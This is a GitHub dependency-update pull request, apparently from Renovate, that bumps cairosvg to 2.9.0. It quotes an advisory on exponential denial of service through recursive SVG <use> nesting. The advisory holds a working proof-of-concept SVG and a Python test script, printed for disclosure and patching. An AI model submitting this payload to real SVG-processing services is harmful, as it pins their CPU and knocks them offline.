Skip to content

⬆️ Update dependency cairosvg to v2.9.0 [SECURITY]#213

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-cairosvg-vulnerability
Open

⬆️ Update dependency cairosvg to v2.9.0 [SECURITY]#213
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-cairosvg-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Mar 13, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
cairosvg (source) 2.7.12.9.0 age adoption passing confidence

CairoSVG vulnerable to Exponential DoS via recursive element amplification

CVE-2026-31899 / GHSA-f38f-5xpm-9r7c

More information

Details

Summary

Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.

Severity

High — CVSS 3.1: 7.5
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerable Code

File: cairosvg/defs.py (line ~335), function use()

The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

Impact
  • 1,411-byte SVG payload pins CPU at 100% indefinitely
  • Memory stays flat at ~43MB — no OOM kill, process never terminates
  • Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
  • Amplification factor: O(10^N) rendering calls from O(N) input
Proof of Concept

Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Expected: timeout kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:

import cairosvg, signal
signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
Suggested Fix

Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

References
Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

Kozea/CairoSVG (cairosvg)

v2.9.0

Compare Source

WARNING: this is a security update.

Using a lot of recursively nested use tags could lead to long rendering times with relatively small inputs.
CairoSVG now stops rendering when more than 100k use tags are rendered.

Using the --unsafe option allows to render larger documents.

  • Drop support of Python 3.9, add support of Python 3.14

v2.8.2

Compare Source

  • Allow both Unicode strings and bytes as input

v2.8.1

Compare Source

  • Allow both text- and bytes-based file objects as input

v2.8.0

Compare Source

  • Drop support of Python 3.7 and 3.8, add support of Python 3.12 and 3.13
  • Optimize math operations
  • Use pathlib
  • Close paths for ellipses and circles
  • Fix output ratio for SVG surfaces
  • Avoid endless loops when updating def attributes
  • Round PNG size
  • Don’t crash when more than 2 values are given to translate and scale functions

Configuration

📅 Schedule: (in timezone Europe/Amsterdam)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Mar 13, 2026
@renovate

renovate Bot commented Mar 13, 2026

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: poetry.lock
Updating dependencies
Resolving dependencies...

Creating virtualenv pure-protobuf-9DAEHxhI-py3.14 in /home/ubuntu/.cache/pypoetry/virtualenvs

The current project's supported Python range (>=3.9.0,<4.0.0) is not compatible with some of the required packages Python requirement:
  - cairosvg requires Python >=3.10, so it will not be installable for Python >=3.9.0,<3.10

Because pure-protobuf depends on cairosvg (2.9.0) which requires Python >=3.10, version solving failed.

  * Check your dependencies Python requirement: The Python requirement can be specified via the `python` or `markers` properties

    For cairosvg, a possible solution would be to set the `python` property to ">=3.10,<4.0.0"

    https://python-poetry.org/docs/dependency-specification/#python-restricted-dependencies,
    https://python-poetry.org/docs/dependency-specification/#using-environment-markers


@renovate renovate Bot changed the title ⬆️ Update dependency cairosvg to v2.9.0 [SECURITY] ⬆️ Update dependency cairosvg to v2.9.0 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot deleted the renovate/pypi-cairosvg-vulnerability branch April 27, 2026 19:00
@renovate renovate Bot changed the title ⬆️ Update dependency cairosvg to v2.9.0 [SECURITY] - autoclosed ⬆️ Update dependency cairosvg to v2.9.0 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/pypi-cairosvg-vulnerability branch 2 times, most recently from 20448fd to efc2dfa Compare April 27, 2026 22:53
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants